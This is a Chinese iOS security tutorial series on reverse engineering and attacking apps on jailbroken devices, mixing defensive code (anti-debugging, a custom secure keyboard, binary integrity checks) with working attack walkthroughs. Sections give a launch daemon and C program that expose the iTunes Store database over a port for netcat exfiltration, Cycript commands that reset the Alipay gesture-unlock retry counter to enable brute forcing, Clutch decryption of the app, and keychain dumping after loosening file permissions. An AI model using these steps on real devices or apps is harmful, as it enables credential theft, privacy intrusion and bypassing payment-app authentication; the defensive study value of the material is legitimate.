前言
你的
iOS
应用可能正在被其他对手反向工程、跟踪和操纵!你的应用是否依旧裸奔毫不防御?
当前恶意攻击者正在使用一系列工具采用大多数程序员想象不到的方式进行反向工程、跟踪和操纵应用。
本课程由资深
iOS
程序媛念茜编写,重点讲解了
iOS
的常用攻击手段,以及黑客们常用的工具和技术,并通过
Hack
实战案例(支付宝
App )
详细分析了攻击的方式和原理。通过了解
这些知识你会从中学到保护你的应用的最佳方式,并且意识到像你的对手那样去理解和制定策略是多么重要。
懂得如何攻击才会懂得如何防御,一切都是为了之后的防御作准备。让本课程为你的
iOS
应用保驾护航。
适用人群
本课程主要适用于
iOS
的开发人员,希望对
iOS
应用的安全性有深入理解并能应用于实战。
学习前提
在学习本课程之前,我们假定你熟悉
iOS
系统并对
Object-C
和
C
语言开发都有一定的基础。
念茜授权转载,原文地址:
http://blog.csdn.net/yiyaaixuexi/article/category/1302847
念茜个人微博
1
Hack
必备的命令与工具
常用的命令和工具
ps ——
显示进程状态,
CPU
使用率,内存使用情况等
sysctl ——
检查设定
Kernel
配置
netstat ——
显示网络连接,路由表,接口状态等
route ——
路由修改
renice ——
调整程序运行的优先级
ifconfig ——
查看网络配置
tcpdump ——
截获分析网络数据包
lsof ——
列出当前系统打开的文件列表,别忘记一切皆文件,包括网络连接、硬件等
otool
①
——
查看程序依赖哪些动态库信息,反编代码段
……
等等等等
nm
②
——
显示符号表
ldid
③
——
签名工具
gdb ——
调试工具
patch ——
补丁工具
SSH ——
远程控制
备注:
①
otool
,可查看可执行程序都链接了那些库:
otool -L WQAlbum
可以得到:
WQAlbum:
/System/Library/Frameworks/StoreKit.framework/StoreKit (compatibility version 1.0.0, current version 1.0.0)
/System/Library/Frameworks/AdSupport.framework/AdSupport (compatibility version 1.0.0, current version 1.0.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.5)
/System/Library/Frameworks//MediaPlayer.framework/MediaPlayer (compatibility version 1.0.0, current version 1.0.0)
/System/Library/Frameworks/MobileCoreServices.framework/MobileCoreServices (compatibility version 1.0.0, current version 40.0.0)
/System/Library/Frameworks/CoreMedia.framework/CoreMedia (compatibility version 1.0.0, current version 1.0.0)
……
可以反编译
WQAlbum
的
__TEXT__
段内容
,
截前
10
行:
otool -tV WQAlbum |head -n 10
可以得到:
WQAlbum:
(__TEXT,__text) section
start:
00002de0 pushl $0x00
00002de2 movl %esp,%ebp
00002de4 andl $0xf0,%esp
00002de7 subl $0x10,%esp
00002dea movl 0x04(%ebp),%ebx
……
②
nm
,显示程序符号表,用我自己的应用程序私人相册现身说法一下:
nm -g WQAlbum
(
-g
代表
global
)
可以得到:
001e5eec S _OBJC_IVAR_$_WQPhotoViewController.albumObject
001e5efc S _OBJC_IVAR_$_WQPhotoViewController.int_current
001e5f00 S _OBJC_IVAR_$_WQPhotoViewController.int_total
其中,
WQPhotoViewController
为类名,
albumObject
为该类的成员
③
ldid
,是
iPhoneOS.platform
提供的签名工具,我们自己编译的程序需要签上名才能跑在
iPhone/iPad
上,使用方法
export CODESIGN_ALLOCATE=/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/codesign_allocate
ldid -S helloworld
编译
Hello World
首先找到编译器:
图片
1.1
hacktools1
arm-apple-darwin10-llvm-gcc-4.2
就是了。
为了方便起见,可以在
.bashrc
或者
profile
配置下环境变量,方便编译。
找到
SDK
编译我们自己的程序的时候需要指定该目录下的
SDK
。
来个经典
Hello World
:
#include <stdio.h>
int main(){
printf("Hello world !!!\n");
return 0;
}
编译
图片
1.2
hacktools2
其中
-isysroot
用来指定
build
时的
SDK
校验
图片
1.3
hacktools3
file
查看一下类型,没问题。
SCP
给
iPhone
、
iPad
前提是,设备已经越狱并且安装了
SSH ,
且必须在同一网段。
$scp helloworld root@x.x.x.x:hello world
登录设备签名
$ssh -l root x.x.x.x
#ldid -S helloworld
执行程序
#./helloworld
Hello world !!!
运行成功,这就完成了最简单的手动执行自己的应用程序。
2
后台
daemon
非法窃取用户
iTunesstore
信息
本人郑重声明:并不鼓励窃取用户隐私等行为,一切
hack
学习都只是为了研究如何防御。
OK
,进入正题。
开机自启动
在
iOS
安全攻防(一):
Hack
必备的命令与工具
中,介绍了如何编译自己的
C
程序并手动启动。今天介绍如何使程序变为开机自启动。
首先打开
Xcode
创建一个
plist
属性文件,如下图所示:
图片
2.1
daemon1
其中要注意一下通信服务名,我定为
55
。用编辑器打开,即为:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Program</key>
<string>/usr/bin/ncdemo</string>
<key>StandardErrorPath</key>
<string>/dev/null</string>
<key>SessionCreate</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/usr/bin/ncdemo</string>
</array>
<key>inetdCompatibility</key>
<dict>
<key>Wait</key>
<false/>
</dict>
<key>Sockets</key>
<dict>
<key>Listeners</key>
<dict>
<key>SockServiceName</key>
<string>55</string>
</dict>
</dict>
</dict>
</plist>
最后,将
plist
文件
scp
至
root@192.168.1.114:/System/Library/LaunchDaemons/
下
。
编写读取
iTunesstore
数据库程序
读取
itunesstored2.sqlitedb
信息,并输出到
stdout
中,便于我们读取。
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#define FILE "/var/mobile/Library/com.apple.itunesstored/itunesstored2.sqlitedb"
int
main
(
)
{
int
fd
=
open
(
FILE
,
O_RDONLY
)
;
char
buf
[
128
]
;
int
ret
=
0
;
if
(
fd
<
0
)
return
-
1
;
while
(
(
ret
=
read
(
fd
,
buf
,
sizeof
(
buf
)
)
)
>
0
)
{
write
(
fileno
(
stdout
)
,
buf
,
ret
)
;
}
close
(
fd
)
;
return
0
;
}
编译、拷贝、签名
编译方法上篇文章已经介绍清楚,这里不再重复,直接
¥
%
¥#
%
¥
……%
#
生成运行在
ARM
的
ncdemo
将
ncdemo scp
到设备中,并登录
$ scp ncdemo root@192.168.1.114:ncdemo
$ ssh root@192.168.1.114
签名
#ldid -S ncdemo
#mv ncdemo /usr/bin
抓取
iTunesstore
数据信息
这时,我们只需要利用
netcat
,指定之前定义的服务名称,轻松在本地抓取设备
iTunesstore
信息
.
$ nc 192.168.1.114 55 > itunesstored2.sqlitedb
分析
iTunesstore
数据信息
好吧,这里就介绍个最简单的应用,利用
string
命令查看:
$ strings itunesstored2.sqlitedb
于是乎,我们就清晰的得到了
iPhone/iPad
设备上都安装了哪些
app
:
图片
2.2
daemon2
当然,除了这些,你想干什么都可以
……
夜深了,先写到这里吧
……
3
使用
Reveal
分析他人
App
准备工作
1
)已越狱的设备,并且已安装了
OpenSSH , MobileSubstrate
等实用工具
( Cydia
源里安装
)
2
)本地已安装了
Reveal
操作步骤
拷贝
framework
和
dylib
到越狱机
scp -r /Applications/Reveal.app/Contents/SharedSupport/iOS-Libraries/Reveal.framework root@192.168.0.X:/System/Library/Frameworks
scp /Applications/Reveal.app/Contents/SharedSupport/iOS-Libraries/libReveal.dylib root@192.168.0.X:/Library/MobileSubstrate/DynamicLibraries
编辑
libReveal.plist
a.
可以
ssh
登录到越狱机上,并且越狱机已安装了编辑器工具例如
nano
,在
/Library/MobileSubstrate/DynamicLibraries/
下创建文件
libReveal.plist
,指定
app
的
Bundle
,可以指定多个
{
Filter = {
Bundles = ("com.apple.AppStore");
};
}
b.
也可以在本地创建好
libReveal.plist
在
scp
到指定位置
/Library/MobileSubstrate/DynamicLibraries/
下
重启越狱机
a.
执行
killall SpringBoard
b.
也可以重启设备
然后就可以到
Reveal
看看别人的
app
怎么布局的了,苹果的
appstore
:
图片
3.1
reveal
4
阻止
GDB
依附
GDB
是大多数
hackers
的首选,阻止
GDB
依附到应用的常规办法是:
#import <sys/ptrace.h>
int main(int argc, charchar *argv[])
{
#ifndef DEBUG
ptrace(PT_DENY_ATTACH,0,0,0);
#endif
@autoreleasepool {
return UIApplicationMain(argc, argv, nil, NSStringFromClass([WQMainPageAppDelegate class]));
}
}
但遗憾的是,
iPhone
真实的运行环境是没有
sys/ptrace.h
抛出的。虽然
ptrace
方法没有被抛出
,
但是不用担心,我们可以通过
dlopen
拿到它。
dlopen
:
当
path
参数为
0
是
,
他会自动查找
$LD_LIBRARY_PATH, $DYLD_LIBRARY_PATH, $DYLD_FALLBACK_LIBRARY_PATH
和当前工作目录中的动态链接库。
#import <dlfcn.h>
#import <sys/types.h>
typedef
int
(
*
ptrace_ptr_t
)
(
int
_request
,
pid_t _pid
,
caddr_t _addr
,
int
_data
)
;
#if !defined(PT_DENY_ATTACH)
#define PT_DENY_ATTACH 31
#endif // !
defined(PT_DENY_ATTACH)
void
disable_gdb
(
)
{
void
*
handle
=
dlopen
(
0
,
RTLD_GLOBAL
|
RTLD_NOW
)
;
ptrace_ptr_t ptrace_ptr
=
dlsym
(
handle
,
"ptrace"
)
;
ptrace_ptr
(
PT_DENY_ATTACH
,
0
,
0
,
0
)
;
dlclose
(
handle
)
;
}
int
main
(
int
argc
,
charchar
*
argv
[
]
)
{
#ifndef DEBUG
disable_gdb
(
)
;
#endif
@autoreleasepool
{
return
UIApplicationMain
(
argc
,
argv
,
nil
,
NSStringFromClass
(
[
WQMainPageAppDelegate class
]
)
)
;
}
}
5
使用
Cycript
修改支付宝
App
运行时
Cycript: Objective-JavaScript
,它懂
Objective-C
,也懂
javascript
。
我们能够借助
Cycript
使用
Objective-C
或者
javascript
,给某个正在运行的进程的
runtime
发送消息。
本文以修改支付宝
app
界面为例,介绍
Cycript
的使用方法。
安装
Cycript
到
Cycript
官方网站下载资源工具,然后推进已越狱的
iPhone
中,进行安装:
dpkg -i cycript_0.9.461_iphoneos-arm.deb
dpkg -i libffi_1-3.0.10-5_iphoneos-arm.deb
确定支付宝进程
运行支付宝
app
,然后获取它的进程号:
Primer:/ root# ps aux | grep Portal
mobile 479 0.6 4.3 590776 44956 ?? Ss 5:14PM 0:09.58 /var/mobile/Applications/8723004E-9E54-4B37-856D-86292780E958/Portal.app/Portal
root 497 0.0 0.0 329252 176 s000 R+ 5:21PM 0:00.00 grep Portal
Cycript
钩住支付宝进程
Primer:/ root# cycript -p 479
cy#
获取当前界面的
viewController
并修改背景色
cy# var app = [UIApplication sharedApplication]
@"<DFApplication: 0x16530660>"
cy# app.delegate
@"<DFClientDelegate: 0x165384d0>"
cy# var keyWindow = app.keyWindow
@"<UIWindow: 0x1654abb0; frame = (0 0; 320 568); gestureRecognizers = <NSArray: 0x1654b190>; layer = <UIWindowLayer: 0x1654ace0>>"
cy# var rootController = keyWindow.rootViewController
@"<DFNavigationController: 0x1654b6c0>"
cy# var visibleController = rootController.visibleViewController
@"<ALPLauncherController: 0x166acfb0>"
cy# visibleController.childViewControllers
@["<HPHomeWidgetGroup: 0x166afbc0>","<ADWRootViewController: 0x165745c0>","<ALPAssetsRootViewController: 0x16577250>","<SWSecurityWidgetGroup:
0x166bd940>"]
cy# var assetsController = new Instance(0x16577250)
@"<ALPAssetsRootViewController: 0x16577250>"
cy# assetsController.view.backgroundColor = [UIColor blueColor]
@"UIDeviceRGBColorSpace 0 0 1 1"
图片
5.1
cycrypt
当然,只是修改个背景色好没意思
……
想修改更多信息,还得介绍一下另一个利器:
class-dump
。下篇再总结~
6
使用
class-dump-z
分析支付宝
App
为了了解支付宝
app
的源码结构,我们可以使用
class-dump-z
工具来分析支付宝二进制。
下载配置
class_dump_z
前往
https://code.google.com/p/networkpx/wiki/class_dump_z
,下载
tar
包,然后解压配置到本地环境
$ tar -zxvf class-dump-z_0.2a.tar.gz
$ sudo cp mac_x86/class-dump-z /usr/bin/
class_dump
支付宝
App
$ class-dump-z Portal > Portal-dump.txt
@protocol XXEncryptedProtocol_10764b0
-(?)XXEncryptedMethod_d109df;
-(?)XXEncryptedMethod_d109d3;
-(?)XXEncryptedMethod_d109c7;
-(?)XXEncryptedMethod_d109bf;
-(?)XXEncryptedMethod_d109b8;
-(?)XXEncryptedMethod_d109a4;
-(?)XXEncryptedMethod_d10990;
-(?)XXEncryptedMethod_d1097f;
-(?)XXEncryptedMethod_d10970;
-(?)XXEncryptedMethod_d10968;
-(?)XXEncryptedMethod_d10941;
-(?)XXEncryptedMethod_d10925;
-(?)XXEncryptedMethod_d10914;
-(?)XXEncryptedMethod_d1090f;
-(?)XXEncryptedMethod_d1090a;
-(?)XXEncryptedMethod_d10904;
-(?)XXEncryptedMethod_d108f9;
-(?)XXEncryptedMethod_d108f4;
-(?)XXEncryptedMethod_d108eb;
@optional
-(?)XXEncryptedMethod_d109eb;
@end
查看得到的信息是加过密的,这个加密操作是苹果在部署到
app store
时做的,所以我们还需要做一步解密操作。
使用
Clutch
解密支付宝
App
下载
Clutch
iOS7
越狱后的
Cydia
源里已经下载不到
Clutch
了,但是我们可以从网上下载好推进
iPhone
地址:
Clutch
传送门
查看可解密的应用列表
root# ./Clutch
Clutch-1.3.2
usage: ./Clutch [flags] [application name] [...]
Applications available: 9P_RetinaWallpapers breadtrip Chiizu CodecademyiPhone FisheyeFree food GirlsCamera IMDb InstaDaily InstaTextFree iOne ItsMe3
linecamera Moldiv MPCamera MYXJ NewsBoard Photo Blur Photo Editor PhotoWonder POCO
相机
P
解密支付宝
App
root# ./Clutch Portal
Clutch-1.3.2
Cracking Portal...
Creating working directory...
Performing initial analysis...
Performing cracking preflight...
dumping binary: analyzing load commands
dumping binary: obtaining ptrace handle
dumping binary: forking to begin tracing
dumping binary: successfully forked
dumping binary: obtaining mach port
dumping binary: preparing code resign
dumping binary: preparing to dump
dumping binary: ASLR enabled, identifying dump location dynamically
dumping binary: performing dump
dumping binary: patched cryptid
dumping binary: writing new checksum
Censoring iTunesMetadata.plist...
Packaging IPA file...
compression level: 0
/var/root/Documents/Cracked/
支付宝钱包
-v8.0.0-(Clutch-1.3.2).ipa
elapsed time: 7473ms
Applications Cracked:
Portal
Applications that Failed:
Total Success: 1 Total Failed: 0
导出已解密的支付宝
App
从上一步骤得知,已解密的
ipa
位置为:
/var/root/Documents/Cracked/
支付宝钱包
-v8.0.0-(Clutch-1.3.2).ipa
将其拷贝到本地去分析
class_dump
已解密的支付宝
App
解压
.ipa
后,到支付宝钱包
-
v8.0.0-(Clutch-1.3.2)/Payload/Portal.app
目录下,
class_dump
已解密的二进制文件
$ class-dump-z Portal > ~/Portal-classdump.txt
这回就可以得到对应的信息了:
@protocol ALPNumPwdInputViewDelegate <NSObject>
-(void)onPasswordDidChange:(id)onPassword;
@end
@protocol ALPContactBaseTableViewCellDelegate <NSObject>
-(void)shareClicked:(id)clicked sender:(id)sender;
@end
@interface MMPPayWayViewController : XXUnknownSuperclass <SubChannelSelectDelegate, UITableViewDataSource, UITableViewDelegate, CellDelegate,
UIAlertViewDelegate> {
@private
Item* channelSelected;
BOOL _bCheck;
BOOL _bOpenMiniPay;
BOOL _bNeedPwd;
BOOL _bSimplePwd;
BOOL _bAutopayon;
BOOL _bHasSub;
BOOL _bFirstChannel;
BOOL _bChangeSub;
BOOL _bClickBack;
UITableView* _channelListTableView;
NSMutableArray* _channelListArray;
NSMutableArray* _subChanneSelectedlList;
NSMutableArray* _unCheckArray;
UIButton* _saveButton;
UILabel* _tipLabel;
MMPPasswordSwichView* _payWaySwitch;
MMPPopupAlertView* _alertView;
UIView* _setView;
int _originalSelectedRow;
int _currentSelectedRow;
NSString* _statusCode;
ChannelListModel* _defaultChannelList;
}
@property(assign, nonatomic) BOOL bClickBack;
@property(retain, nonatomic) ChannelListModel* defaultChannelList;
@property(retain, nonatomic) NSString* statusCode;
@property(assign, nonatomic) int currentSelectedRow;
@property(assign, nonatomic) int originalSelectedRow;
@property(retain, nonatomic) UIView* setView;
@property(retain, nonatomic) MMPPopupAlertView* alertView;
@property(retain, nonatomic) MMPPasswordSwichView* payWaySwitch;
@property(assign, nonatomic, getter=isSubChannelChanged) BOOL bChangeSub;
@property(assign, nonatomic) BOOL bFirstChannel;
@property(assign, nonatomic) BOOL bHasSub;
@property(assign, nonatomic) BOOL bAutopayon;
@property(assign, nonatomic) BOOL bSimplePwd;
@property(assign, nonatomic) BOOL bNeedPwd;
@property(assign, nonatomic) BOOL bOpenMiniPay;
@property(assign, nonatomic) BOOL bCheck;
@property(retain, nonatomic) UILabel* tipLabel;
@property(retain, nonatomic) UIButton* saveButton;
@property(retain, nonatomic) NSMutableArray* unCheckArray;
@property(retain, nonatomic) NSMutableArray* subChanneSelectedlList;
@property(retain, nonatomic) NSMutableArray* channelListArray;
@property(retain, nonatomic) UITableView* channelListTableView;
-(void).cxx_destruct;
-(void)subChannelDidSelected:(id)subChannel;
-(void)switchCheckButtonClicked:(id)clicked;
-(void)checkboxButtonClicked:(id)clicked;
-(void)onCellClick:(id)click;
-(void)showSubChannels;
-(void)tableView:(id)view didSelectRowAtIndexPath:(id)indexPath;
-(id)tableView:(id)view cellForRowAtIndexPath:(id)indexPath;
-(int)tableView:(id)view numberOfRowsInSection:(int)section;
-(float)tableView:(id)view heightForRowAtIndexPath:(id)indexPath;
-(int)numberOfSectionsInTableView:(id)tableView;
-(void)setTableViewFootView:(id)view;
-(void)setTableViewHeaderView:(id)view;
-(id)tableView:(id)view viewForHeaderInSection:(int)section;
-(id)tableView:(id)view viewForFooterInSection:(int)section;
-(float)tableView:(id)view heightForHeaderInSection:(int)section;
-(float)tableView:(id)view heightForFooterInSection:(int)section;
-(void)alertView:(id)view clickedButtonAtIndex:(int)index;
-(void)clickSave;
-(void)netWorkRequestWithPwd:(id)pwd;
-(void)setPayWaySwitchStates:(id)states;
-(void)changePayWaySwitch:(id)aSwitch;
-(void)scrollToSelectedRow;
-(void)didReceiveMemoryWarning;
-(void)viewDidLoad;
-(void)applicationEnterBackground:(id)background;
-(void)dealloc;
-(void)goBack;
-(BOOL)isChannelsSetChanged;
-(id)subChannelCode:(int)code;
-(id)subChannelDesc:(int)desc;
-(id)initWithDefaultData:(id)defaultData;
-(id)initWithNibName:(id)nibName bundle:(id)bundle;
-(void)commonInit:(id)init;
@end
分析支付宝源码片段
使用了
@private
关键字限制成员访问权限
但是实际上,在
Objective-C
编程中,使用
@private
连
Keypath
访问都拦不住的
抛出了冗长的成员对象
这非常有利分析程序结构
进一步思考
1
)如何利用
class-dump
结果,结合
cycript
进行攻击呢?
2
)
class-dump-z
如此强大,有什么方法可以减少暴露的信息吗?
接下来的博文将针对上面的思考,继续总结~
7
Hack
实战
——
解除支付宝
App
手势解锁错误次数限制
之前仅仅介绍了工具的使用,本文将实践一下如何利用
cycript
结合
class-dump
结果
hack
,还要牺牲一下支付宝
App
。
首先,老套路,取到手势解锁界面的
View Controller:
cy# var app = [UIApplication sharedApplication]
@"<DFApplication: 0x1666c960>"
cy# var keyWindow = app.keyWindow
@"<UIWindow: 0x16591bd0; frame = (0 0; 320 568); gestureRecognizers = <NSArray: 0x1b047000>; layer = <UIWindowLayer: 0x165d0650>>"
cy# var root = keyWindow.rootViewController
@"<UINavigationController: 0x179779a0>"
cy# var visible = root.visibleViewController
@"<GestureUnlockViewController: 0x165de090>"
然后,对照
class-dump-z
结果,来分析
GestureUnlockViewController
有什么利用价值
:
@interface GestureUnlockViewController : DTViewController <UIAlertViewDelegate, GestureHeadImageViewDelegate> {
@private
GestureHeadImageView* _headImageView;
GestureTipLabel* _tipLabel;
GestureInputView* _inputView;
DTButton* _forgetButton;
DTButton* _changeAccountButton;
int _retryCount;
UIView* _guideView;
id<GestrueViewControllerDelegate> _delegate;
}
@property(assign, nonatomic) __weak id<GestrueViewControllerDelegate> delegate;
-(void).cxx_destruct;
-(BOOL)shouldAutorotateToInterfaceOrientation:(int)interfaceOrientation;
-(void)headClicked;
-(void)gestureInputView:(id)view didFinishWithPassword:(id)password;
-(void)gestureInputViewFirstEffectiveTouch:(id)touch;
-(void)alertView:(id)view clickedButtonAtIndex:(int)index;
-(void)actionChangeAccountToLogin;
-(void)actionResetPswBtnClick;
-(void)resetCurrentUser;
-(void)resetPsw;
-(void)viewWillDisappear:(BOOL)view;
-(void)notifyFaceToFacePayReceivedData:(id)facePayReceivedData;
-(void)viewWillAppear:(BOOL)view;
-(void)breakFirstRun;
-(BOOL)isFirstRun;
-(void)guideViewClicked:(id)clicked;
-(void)viewDidLoad;
-(void)viewWillLayoutSubviews;
@end
目测
_tipLabel
是写账户名和提示操作的
label
,上篇文章我提到过:
@private
限制不了
keyPath
,现在我们来修改一下支付宝登录页的用户名信息:
cy# [visible setValue:@"Test By yiyaaixuexi" forKeyPath:@"_tipLabel.text"]
图片
7.1
hack-practice
支付宝手势密码解锁有尝试次数限制,连续错
5
次就要重新登录。
我想解除重试解锁次数的限制,发现了记录解锁次数的类型是
int
,
int _retryCount
,这一点让我很不开心,因
为我无法通过
KVC
来修改其值了。
但是没有关系,我可以通过指针访问:
cy# visible->_retryCount = 0
0
这样我就能无限制的用程序暴力破解手势密码了,来计算一下有多少种可能呢?
图片
7.2
hack-practice2
这个数字对我来说有点大,可是对
iPhone5
的
CPU
来说就是小菜一碟了~
等一下,密码格式是什么呢?
-(void)gestureInputView:(id)view
didFinishWithPassword:(id)password;
id
类型的密码,很严谨,又给
hack
带来不少麻烦呀~
不过没关系,我们可以利用
Method Swizzling
来打出
password
到底是什么,不过呢,貌似可以再写一篇新文章去介绍了
……
8
键盘缓存与安全键盘
大部分中文应用弹出的默认键盘是简体中文输入法键盘,在输入用户名和密码的时候,如果使用简体中文输入法键盘,输入英文字符和数字字符的用户名和密码时,会自动启动系统输
入法自动更正提示,然后用户的输入记录会被缓存下来。
系统键盘缓存最方便拿到的就是利用系统输入法自动更正的字符串输入记录。
缓存文件的地址是:
/private/var/mobile/Library/Keyboard/dynamic-text.dat
导出该缓存文件,查看内容,欣喜的发现一切输入记录都是明文存储的。因为系统不会把所有的用户输入记录都当作密码等敏感信息来处理。
一般情况下,一个常规
iPhone
用户的
dynamic-text.dat
文件,高频率出现的字符串就是用户名和密码。
所以,一般银行客户端
app
输入密码时都不使用系统键盘,而使用自己定制的键盘,原因主要有
2
个:
1
)避免第三方读取系统键盘缓存
2
)防止屏幕录制
(自己定制的键盘按键不加按下效果)
那么,如何实现自定义安全键盘呢?大致思路如下:
1
)首先捕获系统键盘的弹出、收回通知
2
)创建一个更高级别的
window
挡住系统键盘
3
)需要抛出一个
id
textInput
的弱引用切换焦点
下面给出一个简单的安全键盘模型:
@interface WQSafeKeyboard : UIWindow
@property (nonatomic, weak, setter = focusOnTextFiled:) UITextField *textFiled;
+ (WQSafeKeyboard *)deploySafeKeyboard;
@end
@interface WQSafeKeyboard()
@property (nonatomic, strong)WQInterKeyboard *keyboard;
@end
@implementation WQSafeKeyboard
+ (WQSafeKeyboard *)deploySafeKeyboard
{
WQSafeKeyboard *kb = [[WQSafeKeyboard alloc]init];
[kb addObserver];
return kb;
}
- (instancetype)init
{
if (self = [super init]) {
self.windowLevel = UIWindowLevelAlert;
self.frame = CGRectZero;
self.rootViewController = self.keyboard;
}
return self;
}
- (void)dealloc
{
[[NSNotificationCenter defaultCenter] removeObserver:self];
}
- (WQInterKeyboard *)keyboard
{
if (!_keyboard) {
_keyboard = [[WQInterKeyboard alloc]init];
}
return _keyboard;
}
- (void)focusOnTextFiled:(UITextField *)textFiled
{
_textFiled = textFiled;
self.keyboard.textField = _textFiled;
}
- (void)addObserver
{
[[NSNotificationCenter defaultCenter]addObserver:self
selector:@selector(keyboardWillShow:)
name:UIKeyboardWillShowNotification
object:nil];
[[NSNotificationCenter defaultCenter]addObserver:self
selector:@selector(keyboardWillHide:)
name:UIKeyboardWillHideNotification
object:nil];
}
- (void)keyboardWillShow:(NSNotification *)notification
{
if (![self.textFiled isFirstResponder]) {
return;
}
[self keyboardAnimationWithNotification:notification];
}
- (void)keyboardWillHide:(NSNotification *)notification
{
if (![self.textFiled isFirstResponder]) {
return;
}
[self keyboardAnimationWithNotification:notification];
}
- (void)keyboardAnimationWithNotification:(NSNotification *)notification
{
[self makeKeyAndVisible];
NSDictionary *userInfo = [notification userInfo];
CGRect kbFrame_end,kbFrame_begin;
NSTimeInterval animationDuration;
UIViewAnimationCurve animationCurve;
[userInfo[UIKeyboardFrameEndUserInfoKey] getValue:&kbFrame_end];
[userInfo[UIKeyboardFrameBeginUserInfoKey] getValue:&kbFrame_begin];
[userInfo[UIKeyboardAnimationCurveUserInfoKey] getValue:&animationCurve];
[userInfo[UIKeyboardAnimationDurationUserInfoKey] getValue:&animationDuration];
self.frame = [self resizeFrameToAdjust:kbFrame_begin];
[UIView animateWithDuration:animationDuration
delay:0
options:(animationCurve<<16)
animations:^{
self.frame = [self resizeFrameToAdjust:kbFrame_end];
}completion:^(BOOL finished) {
}];
if ([notification.name isEqualToString:UIKeyboardWillHideNotification]) {
[self resignKeyWindow];
}
}
- (CGRect)resizeFrameToAdjust:(CGRect)frame
{
if ([[UIApplication sharedApplication] isStatusBarHidden] )
return frame;
if (SYSTEM_VERSION_LESS_THAN(@"7.0")) {
frame = CGRectMake(frame.origin.x,
frame.origin.y - STATUSBAR_HEIGHT,
frame.size.width,
frame.size.height);
}
return frame;
}
@end
9
使用
Keychain-Dumper
导出
keychain
数据
iOS
系统及第三方应用都会使用
Keychain
来作为数据持久化存储媒介,或者应用间数据共享的渠道。
所以
Keychain
数据库是
hacker
们最关注的数据源头之一。
不知道是算幸运还是不幸,导出
Keychain
数据库数据的工具早已非常完善,下载地址:
Keychain-Dumper
传送门
操作步骤极其简单:
1
)赋予
Keychain
数据库可读权限
Primer:~ root# cd /private/var/Keychains/
Primer:/private/var/Keychains root# ls
TrustStore.sqlite3 accountStatus.plist caissuercache.sqlite3 keychain-2.db keychain-2.db-shm keychain-2.db-wal ocspcache.sqlite3
ocspcache.sqlite3-shm ocspcache.sqlite3-wal
Primer:/private/var/Keychains root# chmod +r keychain-2.db
2
)使用
Keychain-Dumper
导出
Keychain
Primer:/private/var/Keychains root# /your_path/keychain_dumper > keychain-export.txt
然后拷贝到本地查看,到底
iOS
系统和第三方应用都存放了哪些信息,就一览无余了。
10
二进制和资源文件自检
我们把自己的程序发布到
app store
,但是不能保证每一个用户都是从
app store
下载官方
app
,也不能保证每一个用户都不越狱。
换句话说,我们无法保证程序运行环境在
MAC
管控策
略下就绝对的安全。
所以,在有些情况下,尤其是和钱有关系的
app
,我们有必要在和服务器通信时,让服务器知道客户端到底是不是官方正版的
app
。
何以判断自己是不是正版
app
呢?
hackers
们破解你的
app
,无非就
2
个地方可以动,
1
个是二进制,
1
个是资源文件。
二进制都重新编译过了自然肯定是盗版
……
有些低级的
hackers
喜欢修改人家的资源文件然后贴上自己的广告,或者给用户错误的指引
……
修改资源文件是不需要重新编译二进制的。
因此,我们有必要在敏感的请求报文中,增加正版应用的二进制和资源文件的标识,让服务器知道,此请求是否来自正版的未经修改的
app
。
在沙盒中,我们可以读到自己程序的二
进制,也可以读到资源文件签名文件,这两个文件都不算大,我们可以对其取
md5
值然后以某种组合算法得到一个标记字符串,然后发给服务器。
我封装了相关文件的读取地址
@implementation WQPathUtilities
+ (NSString *)directory:(NSSearchPathDirectory)dir
{
NSArray *paths = NSSearchPathForDirectoriesInDomains(dir, NSUserDomainMask, YES);
NSString *dirStr = [paths objectAtIndex:0];
return dirStr;
}
+ (NSString *)documentsDirectory
{
return [WQPathUtilities directory:NSDocumentDirectory];
}
+ (NSString *)cachesDirectory
{
return [WQPathUtilities directory:NSCachesDirectory];
}
+ (NSString *)tmpDirectory
{
return NSTemporaryDirectory();
}
+ (NSString *)homeDirectory
{
return NSHomeDirectory();
}
+ (NSString *)codeResourcesPath
{
NSString *excutableName = [[NSBundle mainBundle] infoDictionary][@"CFBundleExecutable"];
NSString *tmpPath = [[WQPathUtilities documentsDirectory] stringByDeletingLastPathComponent];
NSString *appPath = [[tmpPath stringByAppendingPathComponent:excutableName]
stringByAppendingPathExtension:@"app"];
NSString *sigPath = [[appPath stringByAppendingPathComponent:@"_CodeSignature"]
stringByAppendingPathComponent:@"CodeResources"];
return sigPath;
}
+ (NSString *)binaryPath
{
NSString *excutableName = [[NSBundle mainBundle] infoDictionary][@"CFBundleExecutable"];
NSString *tmpPath = [[WQPathUtilities documentsDirectory] stringByDeletingLastPathComponent];
NSString *appPath = [[tmpPath stringByAppendingPathComponent:excutableName]
stringByAppendingPathExtension:@"app"];
NSString *binaryPath = [appPath stringByAppendingPathComponent:excutableName];
return binaryPath;
}
@end
md5
方法:
#import "CommonCrypto/CommonDigest.h"
+(NSString *)md5WithString:(NSString *)string
{
const charchar *cStr = [string UTF8String];
unsigned char result[CC_MD5_DIGEST_LENGTH];
CC_MD5(cStr, strlen(cStr), result);
return [[NSString stringWithFormat:@"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
result[0], result[1], result[2], result[3],
result[4], result[5], result[6], result[7],
result[8], result[9], result[10], result[11],
result[12], result[13], result[14], result[15]
] lowercaseString];
}
这样做就
100%
安全了吗?
答案是:不
……
所谓魔高一尺,道高一丈,不过也能阻止一些低级的
hack
手段了~
11
Hack
实战
——
探究支付宝
App
手势密码
在之前的
iOS
安全攻防(七):
Hack
实战
——
解除支付宝
app
手势解锁错误次数限制
中,留了一个问题,就是如何破解手势密码。
方法不唯一,本文介绍如何利用
gdb
分析破解
App
。
当没有程序源代码的情况下,我们如何利用
gdb
呢?
为了确定应该如何设置断点,不得不反汇编程序来作为参考了。
在前面的文章提到过,支付宝
app
的手势密码校验处理非常严谨,没有抛出
BOOL
判断的方法让我们可以直接修改返回值跳过验证,而是将全部操作封在了
-(void)gestureInputView:(id)view didFinishWithPassword:(id)password;
于是,我反汇编了支付宝
app
,找到手势密码解锁的相关代码片段:
图片
11.1
guesture-password
